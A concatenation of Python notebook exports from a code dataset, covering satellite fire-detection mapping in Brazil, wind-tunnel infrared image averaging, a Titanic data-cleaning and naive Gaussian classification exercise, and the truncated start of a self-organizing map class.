+\n# Imports\n\nimport os\nimport math\n\nfrom datetime import timezone, datetime, timedelta\n\nimport numpy as np\nimport pandas as pd\nimport geopandas as gpd\nimport osmnx as ox\nimport pysal\nimport contextily\nimport xarray\nimport datashader\n\nfrom geopy import distance\nfrom geopy.point import Point\n\nfrom shapely.geometry import Polygon\nfrom shapely.geometry import MultiPolygon\nfrom shapely.geometry import LineString\nfrom shapely.ops import split\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport matplotlib.colors as colors\nimport matplotlib.dates as mdates\nimport matplotlib.patches as patches\nimport seaborn as sns; sns.set(rc={'axes.facecolor':'white'})\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# nossos arquivos\nfrom utils import *\nfrom satelites import *\nfrom graphic import *\nfrom explore import *\nfrom constants import *\n\n# import locale\n# locale.setlocale(locale.LC_ALL, 'pt')\n# -\n\ndf = read_burn_df()\ndf = df[(df[\"simp_satelite\"] != \"ATSR\") & (df[\"simp_satelite\"] != \"TRMM\")]\nprint('Data frame optimized with final size: {:.2f}GB'.format(df.memory_usage(deep=True).sum()/1024**3))\ndf.head()\n\n# +\n# variaveis derivadas dos dados\nall_satellites = df['satelite'].value_counts().index.values\nsimp_satellites = df['simp_satelite'].value_counts().index.values\nactual_satellites = df[(df['datahora'].dt.year == 2022)]['simp_satelite'].value_counts().loc[lambda x : x > 0].index.values\n\nprint('Original satellites size:', len(all_satellites.tolist()))\nprint('Simplified satellites size:', len(simp_satellites.tolist()))\n\n# +\n# Escolher cores boas paras os satélites ajuda na análise\n# Ai sempre vamos usar as mesmas cores, criando gráficos \n# consistentes entre sí\n\n# import random\n\n# random.seed(43)\n\n# simp_satellites_rand = simp_satellites.tolist()\n# random.shuffle(simp_satellites_rand)\n# cmap = plt.cm.get_cmap('tab20', len(simp_satellites_rand))\n# satellites_colors = {}\n# for (i, satelite) in enumerate(simp_satellites_rand):\n# satellites_colors[satelite] = cmap(i)\n\n# satellites_colors[simp_satellites_rand[0]] = (1.0, 0.0, 0.0, 1.0)\n# satellites_colors[simp_satellites_rand[-1]] = (0.0, 1.0, 1.0, 1.0)\n\nfig = plot_colortable(satellites_colors)\nfig.savefig(os.path.join(image_folder, 'cores_satelites.pdf'), bbox_inches=\"tight\")\n\n# +\n# analise quantitativa dos dados com relacao a flag risco de fogo\nreference_df = df[(df.satelite == 'AQUA_M-T')]\n\ndate_sem_risco_counts = reference_df.groupby([reference_df['datahora'].dt.date])['datahora'].count()\n\ndaily_df = date_sem_risco_counts.fillna(0).astype('int')\ndaily_df.index = pd.to_datetime(daily_df.index)\nmonthly_df = daily_df.resample('M').sum()\nyearly_df = daily_df.resample('Y').sum() / 12\nmaxX: pd.Timestamp = monthly_df.idxmax()\nmaxY = monthly_df.max()\n\nfig, ax = plt.subplots(1, 1, figsize=(12,6))\n\nax.bar(yearly_df.index - pd.Timedelta(days=365), yearly_df.values, width=365, label='Média mensal no ano', alpha=0.3, align='edge')\n\nmonthly_df = monthly_df.to_frame('value').reset_index()\nax.plot_date(monthly_df['datahora'], monthly_df['value'], label='Absoluto mensal', linestyle='-', marker='')\n\nax.vlines(maxX, maxY, 0, color='r', linestyles='--', label='Máximo')\n\n# trend line\nz = np.polyfit(x=monthly_df['datahora'].astype(np.int64), y=monthly_df['value'], deg=1)\np = np.poly1d(z)\nmonthly_df['trendline'] = p(monthly_df['datahora'].astype(np.int64))\nax.plot(monthly_df['datahora'], monthly_df['trendline'], label='Tendência', linestyle='-', marker='')\n\nax.xaxis.set_major_locator(mdates.YearLocator())\nax.xaxis.set_tick_params(rotation=45)\nax.set_xlabel('Tempo')\nax.set_ylabel('Detecções')\nax.set_title('Quantitativo geral dos focos (máximo em {} de {})'.format(months_list[maxX.month-1].lower(), maxX.year))\nax.legend()\n\nfig.savefig(os.path.join(image_folder, 'quantitativo_geral.pdf'), bbox_inches=\"tight\")\n\n# +\nfig, ax = plt.subplots(1, 1, figsize=(12, 5))\nfor satelite in ['Suomi NPP', 'AQUA', 'NOAA-20', 'TERRA', 'GOES-16']:\n time_measure_dist(df, satelite, ax)\n\nax.set_title(\"Medidas no tempo dos satélites\")\nax.set_ylabel('Detecções')\nax.set_xlabel('Horário')\n\nfig.savefig(os.path.join(image_folder, 'tempo_medidas_satelites.pdf'), bbox_inches=\"tight\")\n\n# +\nfig, axs = plt.subplots(1, 4, sharex= True, sharey=True, figsize=(12, 20))\nfig.tight_layout()\naxs = axs.flat\n\ncenter_lat, center_lon, size = -8.98, -50.95, 0.13\ndata_temp = sub_space_by_center(df.query(\"'2022-09-02 00:00:00-03:00' < datahora < '2022-09-02 23:59:59-03:00' and simp_satelite == 'Suomi NPP'\"), center_lat, center_lon, size)\n\nmin_lat, max_lat, min_lon, max_lon = get_bounds(center_lat, center_lon, size)\n\nshow_satelites_points(data_temp[data_temp['satelite'] == 'NPP-375D'], ax=axs[0])\naxs[0].set_title('Pontos Ascendente')\nconfigure_geografic_axes(axs[0], min_lon, max_lon, min_lat, max_lat)\n\nshow_satelites_points(data_temp[data_temp['satelite'] == 'NPP-375'], ax=axs[2])\naxs[2].set_title('Pontos Descendente')\nconfigure_geografic_axes(axs[2], min_lon, max_lon, min_lat, max_lat)\n\nshow_separated_satelittes(data_temp, center_lat, center_lon, size, axs=[axs[1], axs[3]])\naxs[1].set_title('Áreas Ascendente')\naxs[3].set_title('Áreas Descendente')\n\nfig.savefig(os.path.join(image_folder, 'comparacao_pontos_e_areas.pdf'), bbox_inches=\"tight\")\n\n# +\nmin_value = 0\nmax_value = 40\nxs = np.linspace(min_value, max_value, 1000)\n\nfig, axs = plt.subplots(1, 1, figsize=(8, 4))\n\nf = threshold_burned_area_calc(10)\nys = [f(x, xs) for x in xs]\naxs.plot(xs, ys, label='limiar (10)')\n\nf = linear_burned_area_calc(10, 30)\nys = [f(x, xs) for x in xs]\naxs.plot(xs, ys, label='linear (10, 30)')\n\nf = polinomial_burned_area_calc(10, 30, 2)\nys = [f(x, xs) for x in xs]\naxs.plot(xs, ys, label='exponencial (10, 30, 2)')\n\nf = polinomial_burned_area_calc(10, 30, 3)\nys = [f(x, xs) for x in xs]\naxs.plot(xs, ys, label='exponencial (10, 30, 3)')\n\naxs.legend(loc='lower right')\naxs.set_xlabel(\"Avaliação do quadrante\")\naxs.set_ylabel(\"Porcentagem queimada\")\n\nfig.savefig(os.path.join(image_folder, 'eval_func_built_in.pdf'), bbox_inches=\"tight\")\n\n# +\ncenter_lat, center_lon, size = -8.98, -50.95, 0.13\ndata_temp = sub_space_by_center(df.query(\"'2022-09-01 00:00:00-03:00' < datahora < '2022-09-03 23:59:59-03:00'\"), center_lat, center_lon, size)\n\nwidth = 15\nfig, axs = plt.subplots(1, 4, sharex= True, sharey=True, figsize=(width + width * 0.15, width/4))\nfig.tight_layout()\naxs = axs.flat\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.005, burned_area_calc=threshold_burned_area_calc(8))\nexplorer.plot(center_lat=center_lat, center_lon=center_lon, size=size, only_quads_areas=True, fig=fig, axs=[axs[0]])\naxs[0].set_title('limiar (8)')\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.005, burned_area_calc=linear_burned_area_calc(5, 20))\nexplorer.plot(center_lat=center_lat, center_lon=center_lon, size=size, only_quads_areas=True, fig=fig, axs=[axs[1]])\naxs[1].set_title('linear (5, 20)')\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.005, burned_area_calc=polinomial_burned_area_calc(2, 20, 2))\nexplorer.plot(center_lat=center_lat, center_lon=center_lon, size=size, only_quads_areas=True, fig=fig, axs=[axs[2]])\naxs[2].set_title('exponencial (2, 20, 2)')\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.005, burned_area_calc=polinomial_burned_area_calc(2, 20, 3))\nexplorer.plot(center_lat=center_lat, center_lon=center_lon, size=size, only_quads_areas=True, fig=fig, axs=[axs[3]])\naxs[3].set_title('exponencial (2, 20, 3)')\n\nfig.savefig(os.path.join(image_folder, 'aplicacao_funcoes_built_in.pdf'), bbox_inches=\"tight\")\n\n# +\ncenter_lat, center_lon, size = -8.98, -50.95, 0.13\ndata_temp = sub_space_by_center(df.query(\"'2022-09-01 00:00:00-03:00' < datahora < '2022-09-03 23:59:59-03:00'\"), center_lat, center_lon, size)\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.005, burned_area_calc=threshold_burned_area_calc(8))\nfig, axs = explorer.plot(width=20, center_lat=center_lat, center_lon=center_lon, size=size, simple_plot=True)\n\nfig.savefig(os.path.join(image_folder, 'exemplo_metodo_completo.pdf'), bbox_inches=\"tight\")\n\n# +\ncenter_lat, center_lon, size = -8.98, -50.95, 0.15\ndata_temp = sub_space_by_center(df.query(\"'2022-09-01 00:00:00-03:00' < datahora < '2022-09-03 23:59:59-03:00'\"), center_lat, center_lon, size)\nmin_lat, max_lat, min_lon, max_lon = get_bounds(center_lat, center_lon, size)\n\nwidth_quads = [0.008, 0.004, 0.002, 0.001]\nfig, axs = plt.subplots(1, len(width_quads), sharex=True, sharey=True, figsize=(15, 15/len(width_quads)))\nfig.tight_layout(pad=0.0)\naxs = axs.flat\n\nfor index, width in enumerate(width_quads):\n SatellitesExplore(data_temp, quadrat_width=width).show_satellites_quads_evaluated(\n with_color_bar=False, ax=axs[index], linewidth=0.2)\n axs[index].set_title('Quandrante {}'.format(width))\n configure_geografic_axes(axs[index], min_lon, max_lon, min_lat, max_lat, with_scale=True)\n\nfig.savefig(os.path.join(image_folder, 'diferenca_entre_quadrantes.png'), bbox_inches=\"tight\")\n\n# +\ncenter_lat, center_lon, size = -8.98, -50.95, 0.15\ndata_temp = sub_space_by_center(df.query(\"'2022-09-01 00:00:00-03:00' < datahora < '2022-09-03 23:59:59-03:00'\"), center_lat, center_lon, size)\n\nfig, axs = plt.subplots(1, 2, sharex=True, sharey=True, figsize=(20, 20/2))\nfig.tight_layout(pad=0.0)\naxs = axs.flat\n\nexplorer = SatellitesExplore(data_temp, quadrat_width=0.008)\nexplorer.show_satellites_areas(ax=axs[0])\nexplorer.show_satellites_quads_evaluated(ax=axs[1], evaluated_quads=False)\n\nmin_lat, max_lat, min_lon, max_lon = get_bounds(center_lat, center_lon, size)\nconfigure_geografic_axes(axs[0], min_lon, max_lon, min_lat, max_lat, with_scale=False)\nconfigure_geografic_axes(axs[1], min_lon, max_lon, min_lat, max_lat, with_scale=False)\naxs[0].set_axis_off()\naxs[1].set_axis_off()\n\nfig.savefig(os.path.join(image_folder, 'satellite_quads_split.pdf'), bbox_inches=\"tight\")\n\n\n# +\n\ndef calculate_poly(current_data: pd.DataFrame) -> MultiPolygon:\n explorer = SatellitesExplore(current_data, quadrat_width=0.004)\n return explorer.get_burned_areas()\n\ndef calculate_multiple_satelites_data(data: pd.DataFrame, start_date: str, freq: str, period: int, \n center_lat: float, center_lon: float, size: float) -> dict[pd.Timestamp, MultiPolygon]:\n range = pd.date_range(start_date, freq=freq, periods=period, tz=data_timezone)\n sub_sapce = sub_space_by_center(data, center_lat, center_lon, size)\n\n total_polys = []\n timestamps = []\n for (current_data, timestamp) in split_by_range(sub_sapce, range):\n total_polys.append(calculate_poly(current_data))\n timestamps.append(timestamp)\n \n result = total_polys #dask.compute(total_polys)[0]\n return dict(zip(timestamps, result))\n\ndef time_inter(data: pd.DataFrame, start_date: str, freq: str, period: int, \n center_lat: float, center_lon: float, size: float) -> MultiPolygon:\n final_results = calculate_multiple_satelites_data(data=data, start_date=start_date, \n freq=freq, period=period, center_lat=center_lat, \n center_lon=center_lon, size=size)\n total_area = MultiPolygon([])\n width, columns = 20, 5\n rows = math.ceil((len(final_results) - 1) / columns)\n min_lat, max_lat, min_lon, max_lon = get_bounds(center_lat, center_lon, size)\n\n fig, axs = plt.subplots(rows, columns, sharex=True, sharey=True, figsize=(width, width/columns * rows))\n fig.tight_layout(pad=0.0)\n axs = axs.flat\n\n for i, timestamp in enumerate(final_results):\n ax: plt.Axes = axs[i]\n multi_polygon = final_results[timestamp]\n total_area = total_area.union(multi_polygon)\n gpd.GeoDataFrame(geometry=list(total_area.geoms)).plot(\n ax=ax, edgecolor='red', color='red', alpha=0.2, linewidth=1)\n ax.set_title(timestamp.strftime('%d/%m/%Y'))\n ax.set_xlim([min_lon, max_lon])\n ax.set_ylim([min_lat, max_lat])\n ax.set_axis_off()\n\n\n# +\nimport panel as pn\nimport pytz\nimport matplotlib.gridspec as gridspec\n\npn.extension('ipywidgets')\n\nstart_datetime_picker = pn.widgets.DatetimePicker(name='Start date', \n value=datetime(2022, 9, 1, 0, 0, tzinfo=pytz.timezone(data_timezone)))\nend_datetime_picker = pn.widgets.DatetimePicker(name='End date', \n value=datetime(2022, 9, 2, 0, 0, tzinfo=pytz.timezone(data_timezone)))\ncenter_lat = pn.widgets.FloatSlider(name='Latitude', value=-8.98, step=0.01, end=5.0, start=-35.0)\ncenter_lon = pn.widgets.FloatSlider(name='Longitude', value=-50.95, step=0.01, start=-80.0, end=-30.0)\nsize = pn.widgets.FloatSlider(name='Zoom', value=0.15, step=0.01, start=0.01, end=0.5)\nquadrat_width = pn.widgets.FloatSlider(name='Tamanho do quadrante', value=0.005, step=0.001, start=0.001, end=0.01)\nmin_area_percentage = pn.widgets.FloatSlider(name='Min area percentage', \n value=SatellitesExplore.default_min_area_percentage, step=0.01, start=0.0, end=0.99)\nthreshold_satellite = pn.widgets.IntSlider(name='Satélites para penalização', \n value=SatellitesExplore.default_threshold_satellite, step=1, start=0, end=10)\nfunction_options = ['limiar', 'linear', 'exponencial']\nfunction_options_widget = pn.widgets.Select(name='Função área queimada', options=function_options, value=function_options[0])\nfunction_param1 = pn.widgets.FloatInput(name='Parâmetro 1', value=10, width=80)\nfunction_param2 = pn.widgets.FloatInput(name='Parâmetro 2', value=30, width=80)\nfunction_param3 = pn.widgets.FloatInput(name='Parâmetro 3', value=2, width=80)\n\nfunction_calc = {\n 'limiar': lambda p1, p2, p3: threshold_burned_area_calc(p1),\n 'linear': lambda p1, p2, p3: linear_burned_area_calc(p1, p2),\n 'exponencial': lambda p1, p2, p3: polinomial_burned_area_calc(p1, p2, p3),\n}\n\ndef plot(start_datetime, end_datetime, center_lat, center_lon, size, \n quadrat_width, min_area_percentage, threshold_satellite,\n function_option, param1, param2, param3):\n data_temp = sub_space_by_center(df[(df['datahora'] >= f'{start_datetime}-03:00') & \n (df['datahora'] <= f'{end_datetime}-03:00')], \n center_lat, center_lon, size)\n burned_area_calc = function_calc[function_option](param1, param2, param3)\n explorer = SatellitesExplore(data_temp, quadrat_width=quadrat_width, \n min_area_percentage=min_area_percentage, \n threshold_satellite=threshold_satellite,\n burned_area_calc=burned_area_calc)\n fig = plt.figure(constrained_layout=True, figsize=(15, 15))\n specs = gridspec.GridSpec(ncols=2, nrows=2, figure=fig) ## Declaring 2x2 figure.\n axs = [\n fig.add_subplot(specs[0, 0]),\n fig.add_subplot(specs[0, 1]),\n fig.add_subplot(specs[1, 0]),\n fig.add_subplot(specs[1, 1])\n ]\n explorer.plot(center_lat=center_lat, center_lon=center_lon, size=size, fig=fig, axs=axs)\n plt.close(fig)\n return pn.pane.Matplotlib(fig, format='svg', sizing_mode='scale_both')\n\ninteractive_plot = pn.bind(plot, start_datetime=start_datetime_picker, end_datetime=end_datetime_picker, \n center_lat=center_lat, center_lon=center_lon, size=size, quadrat_width=quadrat_width,\n min_area_percentage=min_area_percentage, threshold_satellite=threshold_satellite,\n function_option=function_options_widget, param1=function_param1,\n param2=function_param2, param3=function_param3)\n\npn.Row(\n pn.WidgetBox(\n pn.pane.Markdown(\"### Parâmetros da entrada principal\"),\n start_datetime_picker,\n end_datetime_picker,\n center_lat, \n center_lon,\n size,\n pn.Spacer(height=5),\n pn.pane.Markdown(\"### Parâmetros da separação/avaliação\"),\n quadrat_width,\n min_area_percentage,\n threshold_satellite,\n pn.Spacer(height=5),\n pn.pane.Markdown(\"### Parâmetros da área queimada\"),\n function_options_widget,\n pn.Row(\n function_param1,\n function_param2,\n function_param3\n )\n ),\n interactive_plot\n)\n\n# +\nfig, axs = plt.subplots(2, 2, sharex=True, sharey=True, figsize=(12, 7))\nfig.tight_layout()\naxs = axs.flat\n\ngroup_colums = [\n ('simp_satelite', 'Detecções por Satélite', 'Satélite'),\n ('sensor', 'Detecções por Sensor', 'Sensor'),\n ('bioma', 'Detecções por Bioma', 'Bioma'), \n ('regiao', 'Detecções por Região', 'Região')\n]\n\nfor index, (column, title, legend) in enumerate(group_colums):\n if column == 'simp_satelite':\n temp = df.groupby([df['datahora'].dt.year, df[column]])[column].count()\n sum_sat = temp.groupby('simp_satelite').sum()\n total = sum_sat.sum()\n threshold = 0.015\n sat_real = sum_sat.loc[lambda x: x/total >= threshold].index.values\n others = sum_sat.loc[lambda x: x/total < threshold].index.values\n unstack = temp.unstack()\n others_values: pd.Series = unstack[others].sum(axis=1)\n others_values.name = 'Outros'\n data_temp = pd.concat([others_values, unstack[sat_real]], axis=1)\n else:\n data_temp = df.groupby([df['datahora'].dt.year, df[column]])[column].count().unstack()\n data_temp.name = legend\n data_temp.plot(ax=axs[index], stacked=True, kind='area', linewidth=0,\n color=satellites_colors if index == 0 else None, \n xlabel='Ano', ylabel='Detecções', title=title)\n ax.legend(title=legend)\n \nfig.savefig(os.path.join(image_folder, 'medicoes_nos_anos.pdf'), bbox_inches=\"tight\")\n","repo_name":"josebraz/INPE-Queimadas","sub_path":"Queimadas.ipynb","file_name":"Queimadas.ipynb","file_ext":"py","file_size_in_byte":17854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"30909757179","text":"# +\nimport os\nimport pandas as pd\nimport numpy as np\n\n# %matplotlib inline \nfrom matplotlib import pyplot as plt\nfrom matplotlib.pyplot import figure\n\n\nfrom numpy import genfromtxt \n\nAOAlist = [-3,-2,-1,0,1,2,3,3.5,4,4.5,5,5.5,6,6.5,7,7.5,8,8.5,9,9.5,11,11.5,12,12.5,13,13.5,14,15,16,17]\n# AOAlist = [14,15,16,17]\nfor AOA in AOAlist:\n folderName = f\"alpha {AOA}\"\n\n data = []\n for filename in os.listdir(folderName):\n if filename.endswith(\".csv\"):\n df=pd.read_csv(f'{folderName}/{filename}', sep=',',header=None)\n df = df.astype(str).replace(\";\",\".\",regex=True).astype(float)\n data.append(df)\n\n image = sum(data)/len(data)\n \n # Gets change in boundry layer\n \n# Works ok to high AOA and good definition\n# boundryX = image.iloc[200:300,180:430].diff(axis=1).abs().sum().idxmax()\n \n intensitySum = image.iloc[200:300,180:435].sum()#.diff().idxmax()#.diff(axis=1).idxmax() #.describe()\n intensityMax = intensitySum.quantile(0.95)\n \n idx = intensitySum[intensitySum>=intensityMax].index.values\n boundryX = np.average(idx)\n \n \n row , _ = image.shape\n boundryY = np.linspace(0,row-1,100)\n \n figure(figsize=(8, 8))\n plt.imshow(image, interpolation=\"bicubic\", vmin=0, vmax=12)\n plt.colorbar()\n plt.plot([boundryX]*100,boundryY,'w--')\n plt.savefig(f\"{AOA}_AOA.png\")\n plt.show()\n \n print(pd.Series(np.concatenate( image.values, axis=0 )).describe())\n\n# +\n\nimageEdit = image.iloc[:,150:460].copy()\npixelMax = imageEdit.quantile(0.5)\nimageEdit[imageEdit<=pixelMax] = 0\n\nfigure(figsize=(9, 9))\nplt.imshow(imageEdit, interpolation='bicubic', vmin=0, vmax=12)\nplt.colorbar()\nplt.show()\n\n# pd.Series(df.values).describe()\n# pd.Series(np.concatenate( image.values, axis=0 )).describe()\n\n# +\n# image.iloc[200:400,180:300].diff(axis=1).abs().sum().describe() #.idxmax()\n# sumvertical =image.iloc[200:400,180:300].sum(axis=1)\n# sumvertical\n# percet75 = sumvertical.quantile(0.75)\n# sumvertical[sumvertical>=percet75]\n#.diff(axis=1).abs().sum().describe() #.idxmax()\n\n\n\n# best = image.iloc[200:400,180:445].diff(axis=1).abs().sum() #.idxmax()\n# percent75 = best.quantile(0.95)\n# percet75\n\n# a = image.iloc[200:400,180:445].diff(axis=1).abs().sum()\n# quant = a.quantile(0.95)\n# a[a>=quant].idxmin()\n# quant\n# image.iloc[200:400,250:300].diff(axis=1).abs().sum().idxmax()\n# datas = image.iloc[200:300,180:430].sum()#.diff().idxmax()#.diff(axis=1).idxmax() #.describe()\n# quantis = datas.quantile(0.9)\n# idx = datas[datas>=quantis].index.values\n# np.average(idx)\n# quantis\n\nintensitySum.describe()\n\n","repo_name":"iamlucasvieira/WindTunnelTest","sub_path":".ipynb_checkpoints/ImagesIR-checkpoint.ipynb","file_name":"ImagesIR-checkpoint.ipynb","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"37251206116","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"7u6MA2AOYnXi\" outputId=\"c22c4c19-3b6c-4a5d-8325-2c54c42c485b\"\n# !git clone \"https://github.com/MisaghM/Artificial-Intelligence-Course-Projects.git\"\n\n# + id=\"_A9JvhZtZNKF\"\nimport pandas\ndataframe = pandas.read_csv('/content/Artificial-Intelligence-Course-Projects/CA0 - Introduction/Dataset/train.csv')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 300} id=\"90xRnIVLaVjv\" outputId=\"14e86a68-1a2b-40a8-d1ce-0bb85b455ddc\"\ndataframe.describe()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"Ll9_eWTqalzs\" outputId=\"b5a26176-c540-44da-d6d5-c3ac9db38e40\"\ndataframe.tail()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 222} id=\"giGSzWRabNMg\" outputId=\"8d645917-9ad8-4689-89ba-6852a0fde3c6\"\ndataframe.head(3)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Dm7LXlakd5Xa\" outputId=\"5c0e0cf1-65ab-492e-8280-7c1e0336ffe9\"\ndataframe.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 285} id=\"XgWX99ACeObk\" outputId=\"4a054e18-1bec-442c-ee2f-e132dd4c102a\"\ndataframe['Sex'].replace({'male': 0, 'female': 1}, inplace=True)\ndataframe.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"MVk_PpOrfWSw\" outputId=\"cf1071f8-770b-4c2a-cf88-48111c2e8af2\"\ndataframe.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vxFs0va3fynP\" outputId=\"debab245-a66b-4137-8a27-a98796139dba\"\ndataframe[dataframe.columns].isna().sum()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"u4GV7de4gDQh\" outputId=\"8cb4e361-c717-4ebb-c933-65a946aa681a\"\ndataframe['Age'].fillna(dataframe['Age'].mean(), inplace=True)\ndataframe['Embarked'].fillna(dataframe['Embarked'].mode()[0], inplace=True)\ndataframe.drop(columns=['Cabin'], inplace=True)\n\ndataframe[dataframe.columns].isna().sum()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Lbi9Rijditn-\" outputId=\"8bd0f034-9f0e-43c9-e469-49e70b4dd06b\"\ndataframe.drop(columns=['PassengerId', 'Name', 'Ticket'], inplace=True)\ndataframe.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 72} id=\"cg3InV37kMxM\" outputId=\"b359f4bd-42b9-4438-a7bf-d1c0b415401f\"\n# Male\ndisplay(len(dataframe.loc[dataframe['Sex'] == 0]))\n# Female\ndisplay(len(dataframe.loc[dataframe['Sex'] == 1]))\n# Male and Southampton\ndisplay(len(dataframe.loc[(dataframe['Sex'] == 0) & (dataframe['Embarked'] == 'S')]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8WGmaOCauctr\" outputId=\"7d7f3987-dc2d-4bdc-83ed-134c4f667c9f\"\nlen(dataframe.loc[(dataframe['Age'] > 35) &\n (dataframe['Parch'] == 0) &\n (dataframe['SibSp'] == 0) &\n (dataframe['Pclass'] == 3)])\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"9OVxz4BDuw9V\" outputId=\"139f1bc8-80a7-4e47-be3b-9398da6de428\"\ndef mean_vec():\n return dataframe.loc[dataframe['Embarked'] == 'Q']['Fare'].mean()\n\nmean_vec()\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8fzpdiuAvHQf\" outputId=\"41a7e6c8-2aaf-4cce-995a-b07e40e3fe4f\"\ndef mean_for():\n sum, total = 0, 0\n for i, row in dataframe.iterrows():\n if row['Embarked'] == 'Q':\n sum += row['Fare']\n total += 1\n return sum / total\n\nmean_for()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 54} id=\"Abi0LVvtvOAY\" outputId=\"57709191-e882-4786-96d3-58d4b59c2297\"\nfrom timeit import timeit\n\nTIMEIT_LOOPS = 100\n\ntvec = timeit(mean_vec, number=TIMEIT_LOOPS)\ntfor = timeit(mean_for, number=TIMEIT_LOOPS)\n\ndisplay(tvec / TIMEIT_LOOPS)\ndisplay(tfor / TIMEIT_LOOPS)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"tFY3455ov5Ky\" outputId=\"fdbe6367-7054-453b-a5e4-0106a7170013\"\ndataframe.hist(figsize=(20, 20))\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"EHKYqckMytOo\" outputId=\"493a6b96-f6e8-4c33-b779-50846127e96e\"\ndef normalize(df):\n return (df - df.mean()) / df.std()\n\nnumeric_cols = dataframe.select_dtypes(include='number').columns.drop('Survived')\ndataframe[numeric_cols] = normalize(dataframe[numeric_cols])\n\ndisplay(dataframe.hist(figsize=(20, 20)))\ndisplay(dataframe[numeric_cols].mean())\ndisplay(dataframe[numeric_cols].std())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 237} id=\"PZYJhhOR1NSs\" outputId=\"f60c0859-21fd-4407-e78e-c2b5e9af60ed\"\nsurvived = dataframe.loc[dataframe['Survived'] == 1][numeric_cols]\nsurvived_not = dataframe.loc[dataframe['Survived'] == 0][numeric_cols]\n\nsurvival_df = pandas.DataFrame({\n 'survived_mean': survived.mean(),\n 'survived_std': survived.std(),\n 'survived_not_mean': survived_not.mean(),\n 'survived_not_std': survived_not.std()\n})\n\ndisplay(survival_df)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 1000} id=\"sTEx9oGe1m4Q\" outputId=\"05925cb8-5286-42ca-a641-4f0d8872a896\"\nimport numpy\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\n\nintervals = numpy.arange(-6, 6, 0.1)\n\ndef draw(row):\n plt.figure(figsize=(15, 5))\n plt.title(row.name)\n\n plt.plot(\n intervals,\n norm.pdf(intervals, loc=row['survived_mean'], scale=row['survived_std']),\n label='survived',\n color='blue'\n )\n plt.plot(\n intervals,\n norm.pdf(intervals, loc=row['survived_not_mean'], scale=row['survived_not_std']),\n label='survived_not',\n color='red'\n )\n\n plt.legend()\n plt.show()\n\nsurvival_df.apply(draw, axis=1);\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 423} id=\"fiNfWVJh13AW\" outputId=\"3e80e7ae-549b-4a4d-a077-46e61a08b2fd\"\ntest_df = pandas.read_csv('/content/Artificial-Intelligence-Course-Projects/CA0 - Introduction/Dataset/test.csv')\ndf_sex_row = survival_df.loc['Sex']\n\ntest_cpy = test_df.copy()\ntest_cpy['Sex'].replace({'male': 0, 'female': 1}, inplace=True)\nnormalized_test_sex = normalize(test_cpy['Sex'])\n\ntest_survived_pdf = norm.pdf(normalized_test_sex, loc=df_sex_row['survived_mean'], scale=df_sex_row['survived_std'])\ntest_survived_not_pdf = norm.pdf(normalized_test_sex, loc=df_sex_row['survived_not_mean'], scale=df_sex_row['survived_not_std'])\ntest_df['Survived'] = numpy.where(test_survived_pdf > test_survived_not_pdf, 1, 0)\n\ntest_df.to_csv('/content/Artificial-Intelligence-Course-Projects/CA0 - Introduction/Dataset/result1.csv', index=False)\ndisplay(test_df[['PassengerId', 'Sex', 'Survived']])\n","repo_name":"mr-dineshk/AIML-Basics-","sub_path":"21032023.ipynb","file_name":"21032023.ipynb","file_ext":"py","file_size_in_byte":6565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"43231431384","text":"# $$ w_c = \\argmin f(w_i,x_j) = \\{ i \\quad | \\quad \\| w_i - x_j \\| \\} $$\n# $$ d_{ic} = \\| w_i - w_c \\| $$\n# $$ s_i = e^{-\\alpha d_i^2 t}, \\quad \\alpha \\geqslant 0 $$\n# $$ w_i \\leftarrow w_i + \\beta s_i (x_j - w_i), \\quad \\beta \\geqslant 0 $$\n\n# +\nimport math\nimport random\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\n# -\n\nclass SOM:\n def __init__(self, n_neurons, n_dim, alpha, beta) -> None:\n self.n_dim: int = n_dim\n self.n_neurons: int = n_neurons\n self.weights: np.ndarray = None\n self.alpha = alpha\n self.beta = beta\n\n def _init_weights(self, data: np.ndarray):\n min_xy = [np.min(data[:, 0]), np.min(data[:, 1])]\n max_xy = [np.max(data[:, 0]), np.max(data[:, 1])]\n\n wx = np.linspace(min_xy[0], max_xy[0], int(\n math.sqrt(self.n_neurons)), dtype='float32')\n wy = np.linspace(min_xy[1], max_xy[1], int(\n math.sqrt(self.n_neurons)), dtype='float32')\n WX, WY = np.meshgrid(wx, wy)\n\n self.weights = np.vstack([np.ravel(WX), 